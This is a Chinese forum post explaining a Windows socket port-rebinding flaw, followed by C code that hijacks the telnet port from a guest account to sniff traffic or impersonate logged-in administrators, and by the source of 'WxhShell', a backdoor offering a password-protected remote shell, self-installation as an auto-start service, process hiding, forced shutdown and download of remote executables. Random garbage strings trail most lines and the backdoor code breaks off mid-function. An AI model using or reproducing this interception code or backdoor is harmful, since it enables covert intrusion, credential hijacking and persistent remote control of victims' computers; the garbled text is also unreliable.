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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 15jQ87)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DRm`y>.  
[z!m  
  saddr.sin_family = AF_INET; g "Du]_,  
_<f%== I'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); YT8q0BR]  
h.R46:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3T.V*&  
GAY?F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nmiJ2edx  
a k5D  
  这意味着什么?意味着可以进行如下的攻击: ?S& yF  
Crc6wmp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1P"7.{  
M <JX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1f+A_k/@  
@cIYS%iZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <|k :%  
mQ1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OD7A(28  
5xr>B7MRM?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ngZq]8 =o  
TY% c`Q5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )T9Cv8  
ZB1%Kn#zo4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8B-PsS|'  
1p~ORQ  
  #include !x-__[#  
  #include 4~1b  
  #include u\ 7Y_`8  
  #include    yHE\Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !+$QN4{9  
  int main() rF[-4t %  
  { Eg1TF oIWl  
  WORD wVersionRequested; vKW!;U9~P  
  DWORD ret; F^{31iU~CX  
  WSADATA wsaData; afHRy:<+%  
  BOOL val; )0 E_Y@  
  SOCKADDR_IN saddr; ;/V])4=  
  SOCKADDR_IN scaddr; AVLY|79#  
  int err; (t3gNin  
  SOCKET s; &V 7J5~_  
  SOCKET sc; r{?qvl!q  
  int caddsize; 6I(Y<LZ5  
  HANDLE mt; 7R[7M%H  
  DWORD tid;   ^7>~y(  
  wVersionRequested = MAKEWORD( 2, 2 ); IR3SP[K"  
  err = WSAStartup( wVersionRequested, &wsaData ); q'7.lrKwa>  
  if ( err != 0 ) { Ndl{f=sjX-  
  printf("error!WSAStartup failed!\n"); I-8I/RRkmP  
  return -1; lFf>z}eLy  
  } ?4wl  
  saddr.sin_family = AF_INET; T]Q4=xsv  
   I/upiqy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TR*vZzoy  
:55a9d1bL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &Oz  
  saddr.sin_port = htons(23); 2V;{@k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %VB4/~ "  
  { lGK7XAx,  
  printf("error!socket failed!\n"); }s?w-u+(c6  
  return -1; }9U_4k  
  } Ar~<l2,{r  
  val = TRUE; /+B6oE>8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ha]vG@?+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X! 6dg.n5  
  { z|],s]F>G  
  printf("error!setsockopt failed!\n"); 6qmV/DL  
  return -1; ^PE|BCs  
  } Q;l%@)m+~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '`gnJX JO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ' xaPahx;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +8 "8s  
}+S~Ah?(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ui"$A/  
  { :{S@KsPqE  
  ret=GetLastError(); 6b2h\+AP  
  printf("error!bind failed!\n"); 6)=;cc{Vr  
  return -1; /g%RIzgW  
  } jR:\D_:  
  listen(s,2); )gU:Up24|"  
  while(1) r9 1i :  
  { H_S"4ISS_  
  caddsize = sizeof(scaddr); F@ pf._c  
  //接受连接请求 4_2oDcdf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m@I}$  
  if(sc!=INVALID_SOCKET) p|qLr9\A  
  { ~#so4<A`3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8kd):gZKZ  
  if(mt==NULL) Jk`l{N  
  { sAA;d  
  printf("Thread Creat Failed!\n"); bhg6p$411  
  break; I5[@C<b  
  } o[JZ>nm  
  } ettBque  
  CloseHandle(mt); yXtQfR  
  } {Z!t:'x8  
  closesocket(s); `B8`<3k/(  
  WSACleanup();  xi<}n#  
  return 0; e{4e<hd  
  }   # ax% n  
  DWORD WINAPI ClientThread(LPVOID lpParam) zmuR n4Nv  
  { hWn-[w/l_  
  SOCKET ss = (SOCKET)lpParam; S+eu3nMq  
  SOCKET sc; #jxPh!%9  
  unsigned char buf[4096]; .bV^u  
  SOCKADDR_IN saddr; *>EV4Hl  
  long num; Xfb-< Q0A  
  DWORD val; c":2<:D&  
  DWORD ret; e<A>??h^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E)p[^1WC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -!T24/l  
  saddr.sin_family = AF_INET; KL(s Vj^e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \ ux {J  
  saddr.sin_port = htons(23); XfIsf9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !)J$f _88D  
  { 4}0YLwgJ  
  printf("error!socket failed!\n"); PbxQ \.  
  return -1; 6>&(OV   
  } 0Nk!.gY  
  val = 100; #4nBov3d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?%Q=l;W.  
  { siV]NI ':|  
  ret = GetLastError(); <O-R  
  return -1; "ZNy*.G|[  
  } DbR!s1ux  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &`]T# ">  
  { R:^jQ'1  
  ret = GetLastError(); `6NcE-oJ  
  return -1; QQ =tiW  
  } vQoZk,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,a2=OV  
  { ~Kt+j  
  printf("error!socket connect failed!\n"); VGCd)&s  
  closesocket(sc);  Cz&t*i/  
  closesocket(ss); 0}:Wh&g  
  return -1; 5lwMc0{/3  
  } _3g!_  
  while(1) Oq}7q!H  
  { olHmRJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z 7cA5'c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  Lo)T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OwDwa~  
  num = recv(ss,buf,4096,0); cp`ZeLz2^  
  if(num>0) 3Zpq#  
  send(sc,buf,num,0); \^'-=8<*>  
  else if(num==0) OzTR#`oey  
  break; %?/vC 6  
  num = recv(sc,buf,4096,0); R=iwp%c(  
  if(num>0) ?;_Mxal'  
  send(ss,buf,num,0); P+e{,~o  
  else if(num==0) l['ER$(7  
  break; ,a0RI<D  
  } 0@ vzQ$  
  closesocket(ss); q03nu3uDI  
  closesocket(sc); |*8X80<  
  return 0 ; K'K/}q<  
  } 2c*}1 _  
6jov8GIAt  
 T#Z#YMk  
========================================================== z4]z3U<}3]  
16~5;u  
下边附上一个代码,,WXhSHELL >@Na6BH5v  
}Os7[4 RW  
========================================================== M pz9}[`3g  
W$z^U) |t  
#include "stdafx.h" XWB#7;,R  
po*r14f  
#include <stdio.h> A`I1G9s  
#include <string.h> 1l.HQ IS  
#include <windows.h> BY$L[U;@T  
#include <winsock2.h> qzu(4*Gk6  
#include <winsvc.h> sei%QE]!/  
#include <urlmon.h> [XP\WG>s  
nbDjoZZ4  
#pragma comment (lib, "Ws2_32.lib") [a#*%H{OC  
#pragma comment (lib, "urlmon.lib") #1'p?%K.  
T IyHM1+  
#define MAX_USER   100 // 最大客户端连接数 >5t]Zlb`  
#define BUF_SOCK   200 // sock buffer E6?0/"  
#define KEY_BUFF   255 // 输入 buffer 4Ub7T=LG  
{J;(K~>?m  
#define REBOOT     0   // 重启 ABq#I'H#@2  
#define SHUTDOWN   1   // 关机 ;;432^jD  
Zo Ra^o  
#define DEF_PORT   5000 // 监听端口 E8aD[j[w  
bhW&,"$Z  
#define REG_LEN     16   // 注册表键长度 C&.Q|S2_  
#define SVC_LEN     80   // NT服务名长度 [E qZj/  
 {C%f~j  
// 从dll定义API {@tO9pc`8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %)o;2&aD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J(,{ -d-E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VF~kjH2>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H_u%e*W  
NU 3s^ 8\(  
// wxhshell配置信息 0.^67'  
struct WSCFG { ;a(7%  
  int ws_port;         // 监听端口 XU`vs`/   
  char ws_passstr[REG_LEN]; // 口令 X9YbTN  
  int ws_autoins;       // 安装标记, 1=yes 0=no yM?jiy  
  char ws_regname[REG_LEN]; // 注册表键名 -[z1r)RZ  
  char ws_svcname[REG_LEN]; // 服务名 aBKJd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <07~EP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h- %RSei5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jf=90eJc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fw%S%*B8g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .h@bp1)l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fs, >X!l+  
<,&t}7M/:  
}; |#22pq?RP  
KN.WTaO  
// default Wxhshell configuration |_16IEJ  
struct WSCFG wscfg={DEF_PORT, V"A* B  
    "xuhuanlingzhe", HQc^ybX5  
    1, M{X; H'2  
    "Wxhshell", vZ|Wj] ;o  
    "Wxhshell", is{H >#+"  
            "WxhShell Service", F441K,I  
    "Wrsky Windows CmdShell Service", TcH7!fUj  
    "Please Input Your Password: ", t'HrI-x  
  1, r@G34Q C+  
  "http://www.wrsky.com/wxhshell.exe", %p^`,b}  
  "Wxhshell.exe" S|_"~Nd=  
    }; gV-A+;u  
-'j|U[&N\  
// 消息定义模块 h?vt6t9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E~`<n]{G-C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X>eFGCz}I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xepp."O  
char *msg_ws_ext="\n\rExit."; bqQR";  
char *msg_ws_end="\n\rQuit."; YvFt*t  
char *msg_ws_boot="\n\rReboot..."; F?4&qbdD  
char *msg_ws_poff="\n\rShutdown..."; DhiIKd9W  
char *msg_ws_down="\n\rSave to "; 3moDu  
d-B,)$zE  
char *msg_ws_err="\n\rErr!"; knRs{1}Pw{  
char *msg_ws_ok="\n\rOK!"; &xS] ;Fr  
W9jxw4)  
char ExeFile[MAX_PATH]; 'I@l$H  
int nUser = 0; N?c!uO|h|  
HANDLE handles[MAX_USER]; >'&|{s[m  
int OsIsNt; g 4lk  
+\25ynM  
SERVICE_STATUS       serviceStatus; w!52DBOe+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1-8 G2e  
DP!~WkU~  
// 函数声明 XK/bE35%^!  
int Install(void); {A{sRT=%  
int Uninstall(void); lT;uL~j  
int DownloadFile(char *sURL, SOCKET wsh); &>vfm9  
int Boot(int flag); BSyS DM  
void HideProc(void); @ gjA8mL  
int GetOsVer(void); 7K /quJ  
int Wxhshell(SOCKET wsl); ; r95i1a'  
void TalkWithClient(void *cs); S H6T\}X:  
int CmdShell(SOCKET sock); t+A9nvj)  
int StartFromService(void); x\K,@  
int StartWxhshell(LPSTR lpCmdLine); o|y1m7X  
Si-Q'*Y=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }EN-WDJD\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k6(0:/C  
4ms"mIt  
// 数据结构和表定义 |_%q@EID  
SERVICE_TABLE_ENTRY DispatchTable[] = D[3QQT7c  
{ 1 abQoe  
{wscfg.ws_svcname, NTServiceMain}, r)[Xzn   
{NULL, NULL} #?7g_  
}; .:B;%*  
af}JS2=$  
// 自我安装 |eP5iy wg  
int Install(void) REJHh\:.77  
{ &L r~x#Wx  
  char svExeFile[MAX_PATH]; 8_T9[ ]7V8  
  HKEY key; {Hzj(c~S?  
  strcpy(svExeFile,ExeFile); yhd]s0(!  
QNGp+xUHJ9  
// 如果是win9x系统,修改注册表设为自启动 `a9iq>   
if(!OsIsNt) { \qtdbi|Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =JN{j2xY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sn[/'V^$a  
  RegCloseKey(key); aA'of>'ib|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wx_j)Wij6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pdk#"H-j  
  RegCloseKey(key); KxQMPtHstz  
  return 0; &A~hM[-  
    } =kBN&v_(!  
  } W;|%)D)y  
} <yw56{w,  
else { j5rMY=|F  
aq - |  
// 如果是NT以上系统,安装为系统服务 TEi1,yc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u]& +TR  
if (schSCManager!=0) j eyGIY  
{ r\FduyOXv  
  SC_HANDLE schService = CreateService t)4] 2z)$  
  ( ,6SzW+L7  
  schSCManager, {2U3   
  wscfg.ws_svcname, k zC4V  
  wscfg.ws_svcdisp, >{>X.I~  
  SERVICE_ALL_ACCESS, D&G^|: G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )C0d*T0i  
  SERVICE_AUTO_START, I/go$@E"  
  SERVICE_ERROR_NORMAL, ^ LVKXr  
  svExeFile, v[O?7Np  
  NULL, rTim1<IXR  
  NULL, 2IXtIE  
  NULL, $f+cd8j?o  
  NULL, XHh*6Yt_ (  
  NULL x|)pZa  
  ); e'.CIspN  
  if (schService!=0) */4hFD {  
  { 3ej[  
  CloseServiceHandle(schService); A[m<xtm5K  
  CloseServiceHandle(schSCManager); >v )V2,P -  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #szIYyk  
  strcat(svExeFile,wscfg.ws_svcname); M9?f`9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S84S/y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AOe f1^S=  
  RegCloseKey(key); !\cVe;<r  
  return 0; *0'< DnGW  
    } XXxH<E$p  
  } g!^mewtd  
  CloseServiceHandle(schSCManager); C9*[/|T  
} Gh 352  
} yatZ Al(B  
1 ]ePU8  
return 1; 3AAciMq}  
} ~zVe?(W  
eOx8D|^W  
// 自我卸载 *:ErZ UyQM  
int Uninstall(void) wQa,o l_p  
{ rp|A88Q/!  
  HKEY key; zR )/h   
h.kjJF  
if(!OsIsNt) { I= a?z<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JF=T_SH^U  
  RegDeleteValue(key,wscfg.ws_regname); eKf5orN  
  RegCloseKey(key); 4gZ)9ya   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1fC)&4W  
  RegDeleteValue(key,wscfg.ws_regname); J0B*V0'zR  
  RegCloseKey(key); uvJ&qd8M  
  return 0; bz.sWBugR  
  } 00@F?|-j  
} <C451+95  
} f,ZJFb98  
else { O%w'n z"  
A (H2Gt D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u=Xpu,q  
if (schSCManager!=0) }aQ*1Vcj  
{ 8U}+9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6C/Pu!Sx?  
  if (schService!=0) VP<LY/'f  
  { &h_Y?5kK  
  if(DeleteService(schService)!=0) { >XX93  
  CloseServiceHandle(schService); HMDuP2Y  
  CloseServiceHandle(schSCManager); K(HrwH`a{  
  return 0; /:"^,i\t  
  } fIJX5)D  
  CloseServiceHandle(schService); ^E.mG>  
  } R<ORw]  
  CloseServiceHandle(schSCManager); %(]B1Zg6,  
} Cq'{ %  
} &eqqgLz  
bZ^'_OOn  
return 1; J'tJY% `  
} Z4E6J'B8  
i0*Cs#(=h  
// 从指定url下载文件 fxmY,{{  
int DownloadFile(char *sURL, SOCKET wsh) I!SIy&=W  
{ <N>7.G  
  HRESULT hr; Mpco8b-b  
char seps[]= "/"; |g HdTb1  
char *token; /a)^)  
char *file; sB$ "mJ  
char myURL[MAX_PATH]; {u -J?(s}  
char myFILE[MAX_PATH]; v`G}sgn  
gZBKe!@a|  
strcpy(myURL,sURL); TK%q}bK,  
  token=strtok(myURL,seps); g^7zDU&'  
  while(token!=NULL) S9ic4rcd  
  { f2&6NC;  
    file=token; } E[vW  
  token=strtok(NULL,seps); [:q J1^UU  
  } Zg0nsNA   
o*2Mjd]r  
GetCurrentDirectory(MAX_PATH,myFILE); ?$uEN_1O\@  
strcat(myFILE, "\\"); .mcohfR  
strcat(myFILE, file); +$#XV@@~  
  send(wsh,myFILE,strlen(myFILE),0); 7G*rxn"d  
send(wsh,"...",3,0); gm =C0Sp?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >AY9 F|:  
  if(hr==S_OK) w4_Xby)  
return 0; @&%/<|4P5  
else 27,c}OS5o  
return 1; N U+PG`Vb  
hh5h \ZI%  
} y7+n*|H  
8~~ k?  
// 系统电源模块 _n{_\/A6f  
int Boot(int flag) b\zq,0%  
{ ?L H[,8z  
  HANDLE hToken; AK%&Kq&PaY  
  TOKEN_PRIVILEGES tkp; @F*z/E}e  
dw!Xt@,[g{  
  if(OsIsNt) { {K}Dpy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nEW.Y33  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '.8eLN  
    tkp.PrivilegeCount = 1; m-+>h:1b|9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %_CL/H   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?<Hgq8J  
if(flag==REBOOT) { #$L/pRC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %++S;#)~  
  return 0; Aq7`A^1t$  
} 8 nqF i  
else { "u&7Y:)^wr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~l. C -  
  return 0; mG@[~w+  
} YC<FKWc  
  } u,}>I%21  
  else { .sOZ"=tW  
if(flag==REBOOT) { u$aN~6HG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g>eWX*Pa|  
  return 0; yx6^ mis4  
} VS>hi~j  
else { ;=E}PbZt2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a?4Asn  
  return 0; "*V'   
} )"|wWu  
} |u$*'EsP  
zf5%|7o  
return 1; sSD&'K=lq  
} Ol<LL#<j4  
-]Mk} z$  
// win9x进程隐藏模块 ,?Vxcr  
void HideProc(void) X7:Dw]t  
{ dVGcth;  
S;2UcSsQl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q$IU!I4  
  if ( hKernel != NULL ) =,i?8Fuz  
  { .L^;aL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wf%)::G*uR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^L Xr4  
    FreeLibrary(hKernel); `/wXx5n5<  
  } &9.3-E47*  
?qn4 ea-\P  
return; b}u#MU  
} LW("/  
RC8-6s& ln  
// 获取操作系统版本 Z3ODZfu>  
int GetOsVer(void) = 1d$x:  
{ >s,*=a  
  OSVERSIONINFO winfo; 4j i#Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bxj4rC[  
  GetVersionEx(&winfo); vt5>>rl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) je>gT`8  
  return 1; iU~d2R+  
  else c\tw#;\9  
  return 0; M$f_I +  
} zx"0^r}  
SL^%Zh/~  
// 客户端句柄模块 to #2.  
int Wxhshell(SOCKET wsl) cmaha%3d  
{ &qa16bz  
  SOCKET wsh; 5VfpeA `  
  struct sockaddr_in client; 6+PP(>em  
  DWORD myID; [r'hX#  
"e29j'u!*  
  while(nUser<MAX_USER) : B1 "=ly  
{ i@<w"yNd_  
  int nSize=sizeof(client); }JT&lyO< b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DAEWa Kui  
  if(wsh==INVALID_SOCKET) return 1; X&K,,C  
PM {L}tEQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (ijO|%?  
if(handles[nUser]==0) 'XSHl?+q  
  closesocket(wsh); nXxnyom,  
else )S_ %Ip  
  nUser++; $ WWi2cI;  
  } 0nlh0u8#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g|!=@9[dv  
Z@Qf0 c  
  return 0; \OK}DhY#  
} ;{n*F=%uC  
Ew9 MWlk  
// 关闭 socket \}Pr!tk!  
void CloseIt(SOCKET wsh) EkN>5).  
{ E 6!V0D  
closesocket(wsh); m :]F &s  
nUser--; D[Ld=e8t  
ExitThread(0); fK=vLcH  
} 8}^ym^H|j  
8[8U49V9(  
// 客户端请求句柄 U(:t$SBKy  
void TalkWithClient(void *cs) / pR,l5  
{ uYc&Q$U  
H329P*P  
  SOCKET wsh=(SOCKET)cs; 1+Y; "tT  
  char pwd[SVC_LEN]; Q@UY4gA '  
  char cmd[KEY_BUFF]; $I /RN  
char chr[1]; .>( qZEF  
int i,j; i{>YQ  
.MRLA G  
  while (nUser < MAX_USER) { *P[N.5{  
z7lbb*Xe  
if(wscfg.ws_passstr) { =iPQ\_ON@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c<qJs-C4;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e?-LB  
  //ZeroMemory(pwd,KEY_BUFF); VH.}}RS%  
      i=0; u+8?'ZT,  
  while(i<SVC_LEN) { );x[1*e  
hzX&BI  
  // 设置超时 >Q^*h}IdW  
  fd_set FdRead; N;e*eMFE  
  struct timeval TimeOut; O,KlZf_B  
  FD_ZERO(&FdRead); . J*2J(T,  
  FD_SET(wsh,&FdRead); ~3m} EL  
  TimeOut.tv_sec=8; (%;D& ~%o  
  TimeOut.tv_usec=0; O<w7PS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 885 ,3AdA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /ec~^S8X  
/?QBMI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .w]S!=h  
  pwd=chr[0]; 8f|+045E@  
  if(chr[0]==0xd || chr[0]==0xa) { $d7{q3K&1  
  pwd=0; H=9\B}  
  break; OAz -w  
  } x68s$H  
  i++; =").W\,  
    } *CXVA&?  
K3t^y`z  
  // 如果是非法用户,关闭 socket YY<e]CriU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); doaqHri\,  
} bDPT1A`F  
S b3@7^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  Z@`HFZJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tMy@'nj  
_&m   
while(1) { I^6zUVH  
Djf,#&j!3  
  ZeroMemory(cmd,KEY_BUFF); [VP ~~*b  
DavG=kvd  
      // 自动支持客户端 telnet标准   VIxcyp0X  
  j=0; z '%Vy  
  while(j<KEY_BUFF) { FeFH_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C zvi':  
  cmd[j]=chr[0]; _sCpyu  
  if(chr[0]==0xa || chr[0]==0xd) { w~g)Dz2G  
  cmd[j]=0; *l^%7W rk  
  break; ),)]gw71QW  
  } _ #+~#U%5n  
  j++; I(Yyg,1Z  
    } ,9p 4(jjX  
YX_p3  
  // 下载文件 6]^}GyM!  
  if(strstr(cmd,"http://")) { ""ICdZ_A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HIi 5kv]}|  
  if(DownloadFile(cmd,wsh)) PGHl:4`Es!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ui 7S8c#tH  
  else pemb2HQ'4j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JQ8wL _C>  
  } T!)v9L  
  else { 9_F2nmEv  
sD* 8:Hl  
    switch(cmd[0]) { Dw^d!%Ala  
  rr# &0`]  
  // 帮助 <gKT7ONtg  
  case '?': { NQ!jkojD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vd9><W  
    break; [L,Tf_t^Y  
  } =?3D:k7z  
  // 安装 V Z;ASA?;  
  case 'i': { RI"A'/56  
    if(Install()) _{6QvD3kg.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T'l >$6  
    else $aX}i4F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +I7n6s\  
    break; ~fE@]~f>  
    } ucyz>TL0  
  // 卸载 J]~LmSh  
  case 'r': { -Vk+zEht  
    if(Uninstall()) tm(.a ?p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Ay*'   
    else v*1UNXU\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qde.;Yv9  
    break; Mjrl KI}f/  
    } 9Bl_t}0  
  // 显示 wxhshell 所在路径 :~pPB#)nk  
  case 'p': { Q9Wa@gi|  
    char svExeFile[MAX_PATH]; x5k6yHn  
    strcpy(svExeFile,"\n\r"); #m6 eG&a  
      strcat(svExeFile,ExeFile); T2 0dZ8{y  
        send(wsh,svExeFile,strlen(svExeFile),0); UfSWdR)  
    break; )W~w72j-  
    } _gjsAbM  
  // 重启 GmB7@-[QA%  
  case 'b': { T+m`a #  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JB a:))lw  
    if(Boot(REBOOT)) ^ S'}RZ*>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1GVJ3VXt  
    else { . Yg)|/  
    closesocket(wsh); EUU9JnQhBJ  
    ExitThread(0); `AeId/A4n  
    } T@uY6))>F  
    break; [L8Bgw1  
    } X~GnK>R  
  // 关机 nM1U=Du  
  case 'd': { ^$Dpdz I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~oh=QakW  
